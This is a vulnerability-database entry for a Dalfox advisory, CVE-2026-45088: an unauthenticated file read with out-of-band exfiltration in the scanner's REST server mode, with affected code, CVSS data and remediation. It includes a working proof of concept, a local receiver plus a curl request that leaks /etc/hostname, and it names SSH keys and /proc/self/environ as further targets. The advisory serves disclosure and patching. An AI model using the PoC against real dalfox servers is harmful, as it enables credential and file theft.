Vulnerability-Lookup

GHSA-35WR-X7V6-9FV2

Vulnerability from github – Published: 2026-05-12 15:08 – Updated: 2026-05-12 15:08

Summary

Dalfox Server Mode has an Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file`

Details

Summary

When dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.

Severity

High (CVSS 3.1: 7.5)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector: Network — server binds to 0.0.0.0:6664 by default; reachable by any network peer.
Attack Complexity: Low — no preconditions beyond network access; skip-discovery and param are both attacker-supplied, so the code path is fully under attacker control.
Privileges Required: None — --api-key defaults to "", so the auth middleware is not registered.
User Interaction: None.
Scope: Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.
Confidentiality Impact: High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, /etc/passwd, etc.
Integrity Impact: None — this path is read-only.
Availability Impact: None.

Affected Component

cmd/server.go — init() (line 51): --api-key defaults to "" — no auth by default
pkg/server/server.go — setupEchoServer() (line 68): auth middleware only registered when APIKey != ""
pkg/server/server.go — postScanHandler() (lines 173–191): rq.Options (including CustomPayloadFile) passed to ScanFromAPI without sanitization
lib/func.go — Initialize() (line 117): CustomPayloadFile explicitly propagated from caller options
pkg/scanning/scan.go — anonymous block (lines 341–368): voltFile.ReadLinesOrLiteral(options.CustomPayloadFile) reads file; contents injected into outbound requests

CWE

CWE-306: Missing Authentication for Critical Function
CWE-73: External Control of File Name or Path
CWE-552: Files or Directories Accessible to External Parties

Description

`custom-payload-file` Is Fully Attacker-Controlled

model.Options exposes CustomPayloadFile with a JSON tag:

// pkg/model/options.go:33
CustomPayloadFile string `json:"custom-payload-file,omitempty"`

postScanHandler binds the entire Req.Options from the JSON body and passes it directly to ScanFromAPI:

// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)

ScanFromAPI passes rqOptions as target.Options to dalfox.Initialize:

// pkg/server/scan.go:22-27
target := dalfox.Target{
    URL:     url,
    Method:  rqOptions.Method,
    Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)

Initialize explicitly copies CustomPayloadFile into newOptions with no filtering:

// lib/func.go:117
"CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile},

File Read and Exfiltration Path

In pkg/scanning/scan.go, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:

// pkg/scanning/scan.go:341-366
if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" {
    ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)
    if err != nil {
        printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options)
    } else {
        for _, customPayload := range ff {
            if customPayload != "" {
                for k, v := range params {
                    if optimization.CheckInspectionParam(options, k) {
                        ...
                        tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options)
                        query[tq] = tm
                    }
                }
            }
        }
    }
}

Each line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. performScanning then dispatches every entry in the query map via SendReq, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., ?q=<file-line>).

Condition Is Trivially Satisfiable

The condition options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"]) is satisfied by setting skip-discovery: true in the JSON request body — a field the attacker fully controls. When SkipDiscovery is true, the engine also requires at least one parameter via UniqParam (the -p flag), which the attacker supplies as param: ["q"]. The code then hardcodes policy["Content-Type"] = "text/html" and populates params["q"] automatically:

// pkg/scanning/scan.go:224-240
if len(options.UniqParam) == 0 {
    return scanResult, fmt.Errorf("--skip-discovery requires parameters to be specified with -p flag")
}
for _, paramName := range options.UniqParam {
    params[paramName] = model.ParamResult{
        Name: paramName, Type: "URL", Reflected: true, Chars: payload.GetSpecialChar(),
    }
}
policy["Content-Type"] = "text/html"

Both conditions are fully attacker-controlled through the JSON request body.

No Defense at Any Layer

The same opt-in API key guard from the first finding applies identically here:

// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
    e.Use(apiKeyAuth(options.APIKey, options))
}

With the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no IsAPI guard around the CustomPayloadFile read.

Proof of Concept

# Step 1 — Attacker-controlled receiver (logs q= parameter to stdout)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
        print("[RECEIVED] q =", q, flush=True)
        body = b'<html><body>ok</body></html>'
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY

# Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest

# Step 3 — Exfiltrate /etc/hostname (or any file readable by the dalfox process)
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18081/?q=test",
    "options": {
      "custom-payload-file": "/etc/hostname",
      "only-custom-payload": true,
      "skip-discovery": true,
      "param": ["q"],
      "use-headless": false,
      "worker": 1
    }
  }'

# Expected output on the receiver (Step 1 terminal):
# [RECEIVED] q = myhostname.local

# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request

No X-API-KEY header is required. Replace /etc/hostname with any file path accessible to the dalfox process (e.g., ~/.ssh/id_rsa, /run/secrets/db_password, /proc/self/environ).

Impact

Arbitrary file read on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, .env files, cloud credential files, /proc/self/environ) can be exfiltrated one line at a time.
No authentication required under the default configuration.
The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.
Combined with the found-action RCE finding (separate issue), an attacker could first read /proc/self/environ to harvest secrets, then execute commands.

Recommended Remediation

Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)

Apply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:

// pkg/server/server.go — in postScanHandler, before ScanFromAPI:
rq.Options.CustomPayloadFile = ""
rq.Options.CustomBlindXSSPayloadFile = ""
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""
rq.Options.OutputFile = ""
rq.Options.HarFilePath = ""

Option 2: Require `--api-key` at server startup

Make authentication mandatory and refuse to start without it:

// cmd/server.go — in runServerCmd:
if serverType == "rest" && apiKey == "" {
    fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
    os.Exit(1)
}

Both options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.

Credit

Emmanuel David

Github:- https://github.com/drmingler

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hahwul/dalfox/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-552",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:08:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker\u0027s request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n- **Attack Vector:** Network \u2014 server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low \u2014 no preconditions beyond network access; `skip-discovery` and `param` are both attacker-supplied, so the code path is fully under attacker control.\n- **Privileges Required:** None \u2014 `--api-key` defaults to `\"\"`, so the auth middleware is not registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged \u2014 the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.\n- **Confidentiality Impact:** High \u2014 the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, `/etc/passwd`, etc.\n- **Integrity Impact:** None \u2014 this path is read-only.\n- **Availability Impact:** None.\n\n## Affected Component\n\n- `cmd/server.go` \u2014 `init()` (line 51): `--api-key` defaults to `\"\"` \u2014 no auth by default\n- `pkg/server/server.go` \u2014 `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != \"\"`\n- `pkg/server/server.go` \u2014 `postScanHandler()` (lines 173\u2013191): `rq.Options` (including `CustomPayloadFile`) passed to `ScanFromAPI` without sanitization\n- `lib/func.go` \u2014 `Initialize()` (line 117): `CustomPayloadFile` explicitly propagated from caller options\n- `pkg/scanning/scan.go` \u2014 anonymous block (lines 341\u2013368): `voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` reads file; contents injected into outbound requests\n\n## CWE\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **CWE-73**: External Control of File Name or Path\n- **CWE-552**: Files or Directories Accessible to External Parties\n\n## Description\n\n### `custom-payload-file` Is Fully Attacker-Controlled\n\n`model.Options` exposes `CustomPayloadFile` with a JSON tag:\n\n```go\n// pkg/model/options.go:33\nCustomPayloadFile string `json:\"custom-payload-file,omitempty\"`\n```\n\n`postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`:\n\n```go\n// pkg/server/server.go:173-191\nrq := new(Req)\nif err := c.Bind(rq); err != nil { ... }\ngo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n```\n\n`ScanFromAPI` passes `rqOptions` as `target.Options` to `dalfox.Initialize`:\n\n```go\n// pkg/server/scan.go:22-27\ntarget := dalfox.Target{\n    URL:     url,\n    Method:  rqOptions.Method,\n    Options: rqOptions,\n}\nnewOptions := dalfox.Initialize(target, target.Options)\n```\n\n`Initialize` explicitly copies `CustomPayloadFile` into `newOptions` with no filtering:\n\n```go\n// lib/func.go:117\n\"CustomPayloadFile\": {\u0026newOptions.CustomPayloadFile, options.CustomPayloadFile},\n```\n\n### File Read and Exfiltration Path\n\nIn `pkg/scanning/scan.go`, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:\n\n```go\n// pkg/scanning/scan.go:341-366\nif (options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])) \u0026\u0026 options.CustomPayloadFile != \"\" {\n    ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)\n    if err != nil {\n        printing.DalLog(\"SYSTEM\", \"Failed to load custom XSS payload file\", options)\n    } else {\n        for _, customPayload := range ff {\n            if customPayload != \"\" {\n                for k, v := range params {\n                    if optimization.CheckInspectionParam(options, k) {\n                        ...\n                        tq, tm := optimization.MakeRequestQuery(target, k, customPayload, \"inHTML\"+ptype, \"toAppend\", encoder, options)\n                        query[tq] = tm\n                    }\n                }\n            }\n        }\n    }\n}\n```\n\nEach line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. `performScanning` then dispatches every entry in the `query` map via `SendReq`, delivering the file\u0027s contents to the attacker\u0027s server as the value of the nominated parameter (e.g., `?q=\u003cfile-line\u003e`).\n\n### Condition Is Trivially Satisfiable\n\nThe condition `options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])` is satisfied by setting `skip-discovery: true` in the JSON request body \u2014 a field the attacker fully controls. When `SkipDiscovery` is true, the engine also requires at least one parameter via `UniqParam` (the `-p` flag), which the attacker supplies as `param: [\"q\"]`. The code then hardcodes `policy[\"Content-Type\"] = \"text/html\"` and populates `params[\"q\"]` automatically:\n\n```go\n// pkg/scanning/scan.go:224-240\nif len(options.UniqParam) == 0 {\n    return scanResult, fmt.Errorf(\"--skip-discovery requires parameters to be specified with -p flag\")\n}\nfor _, paramName := range options.UniqParam {\n    params[paramName] = model.ParamResult{\n        Name: paramName, Type: \"URL\", Reflected: true, Chars: payload.GetSpecialChar(),\n    }\n}\npolicy[\"Content-Type\"] = \"text/html\"\n```\n\nBoth conditions are fully attacker-controlled through the JSON request body.\n\n### No Defense at Any Layer\n\nThe same opt-in API key guard from the first finding applies identically here:\n\n```go\n// pkg/server/server.go:68-70\nif options.ServerType == \"rest\" \u0026\u0026 options.APIKey != \"\" {\n    e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\nWith the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no `IsAPI` guard around the `CustomPayloadFile` read.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Attacker-controlled receiver (logs q= parameter to stdout)\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        q = parse_qs(urlparse(self.path).query).get(\u0027q\u0027, [\u0027\u0027])[0]\n        print(\"[RECEIVED] q =\", q, flush=True)\n        body = b\u0027\u003chtml\u003e\u003cbody\u003eok\u003c/body\u003e\u003c/html\u003e\u0027\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027, \u0027text/html\u0027)\n        self.send_header(\u0027Content-Length\u0027, str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n    def log_message(self, *a): pass\nHTTPServer((\u0027127.0.0.1\u0027, 18081), H).serve_forever()\nPY\n\n# Step 2 \u2014 Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 \u2014 Exfiltrate /etc/hostname (or any file readable by the dalfox process)\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\n    \"url\": \"http://127.0.0.1:18081/?q=test\",\n    \"options\": {\n      \"custom-payload-file\": \"/etc/hostname\",\n      \"only-custom-payload\": true,\n      \"skip-discovery\": true,\n      \"param\": [\"q\"],\n      \"use-headless\": false,\n      \"worker\": 1\n    }\n  }\u0027\n\n# Expected output on the receiver (Step 1 terminal):\n# [RECEIVED] q = myhostname.local\n\n# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request\n```\n\nNo `X-API-KEY` header is required. Replace `/etc/hostname` with any file path accessible to the dalfox process (e.g., `~/.ssh/id_rsa`, `/run/secrets/db_password`, `/proc/self/environ`).\n\n## Impact\n\n- **Arbitrary file read** on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, `.env` files, cloud credential files, `/proc/self/environ`) can be exfiltrated one line at a time.\n- **No authentication required** under the default configuration.\n- The exfiltration channel is the dalfox host\u0027s own outbound HTTP scan traffic \u2014 no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.\n- Combined with the `found-action` RCE finding (separate issue), an attacker could first read `/proc/self/environ` to harvest secrets, then execute commands.\n\n## Recommended Remediation\n\n### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)\n\nApply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:\n\n```go\n// pkg/server/server.go \u2014 in postScanHandler, before ScanFromAPI:\nrq.Options.CustomPayloadFile = \"\"\nrq.Options.CustomBlindXSSPayloadFile = \"\"\nrq.Options.FoundAction = \"\"\nrq.Options.FoundActionShell = \"\"\nrq.Options.OutputFile = \"\"\nrq.Options.HarFilePath = \"\"\n```\n\n### Option 2: Require `--api-key` at server startup\n\nMake authentication mandatory and refuse to start without it:\n\n```go\n// cmd/server.go \u2014 in runServerCmd:\nif serverType == \"rest\" \u0026\u0026 apiKey == \"\" {\n    fmt.Fprintln(os.Stderr, \"ERROR: --api-key is required when running in REST server mode.\")\n    os.Exit(1)\n}\n```\n\nBoth options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.\n\n##Credit\n\nEmmanuel David\n\nGithub:- https://github.com/drmingler",
  "id": "GHSA-35wr-x7v6-9fv2",
  "modified": "2026-05-12T15:08:14Z",
  "published": "2026-05-12T15:08:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-35wr-x7v6-9fv2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hahwul/dalfox"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dalfox Server Mode has an Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file`"
}

CVE-2026-45088 (GCVE-0-2026-45088)

Vulnerability from cvelistv5 – Published: 2026-05-27 17:35 – Updated: 2026-05-27 18:00

Title

Dalfox: Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file` in Dalfox Server Mode

Summary

Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. This vulnerability is fixed in 2.13.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-73 - External Control of File Name or Path
CWE-306 - Missing Authentication for Critical Function
CWE-552 - Files or Directories Accessible to External Parties

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/hahwul/dalfox/security/advisor…	x_refsource_CONFIRM
https://github.com/hahwul/dalfox/releases/tag/v2.13.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
hahwul	dalfox	Affected: < 2.13.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45088",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-27T17:56:40.382510Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-27T18:00:56.222Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-35wr-x7v6-9fv2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "dalfox",
          "vendor": "hahwul",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.13.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker\u0027s request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. This vulnerability is fixed in 2.13.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-73",
              "description": "CWE-73: External Control of File Name or Path",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-552",
              "description": "CWE-552: Files or Directories Accessible to External Parties",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-27T17:35:02.490Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/hahwul/dalfox/security/advisories/GHSA-35wr-x7v6-9fv2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-35wr-x7v6-9fv2"
        },
        {
          "name": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
        }
      ],
      "source": {
        "advisory": "GHSA-35wr-x7v6-9fv2",
        "discovery": "UNKNOWN"
      },
      "title": "Dalfox: Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file` in Dalfox Server Mode"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45088",
    "datePublished": "2026-05-27T17:35:02.490Z",
    "dateReserved": "2026-05-08T19:27:26.697Z",
    "dateUpdated": "2026-05-27T18:00:56.222Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-35WR-X7V6-9FV2

Summary

Severity

Affected Component

CWE

Description

custom-payload-file Is Fully Attacker-Controlled

File Read and Exfiltration Path

Condition Is Trivially Satisfiable

No Defense at Any Layer

Proof of Concept

Impact

Recommended Remediation

Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)

Option 2: Require --api-key at server startup

Credit

CVE-2026-45088 (GCVE-0-2026-45088)

Tags

Sightings

Nomenclature

`custom-payload-file` Is Fully Attacker-Controlled

Option 2: Require `--api-key` at server startup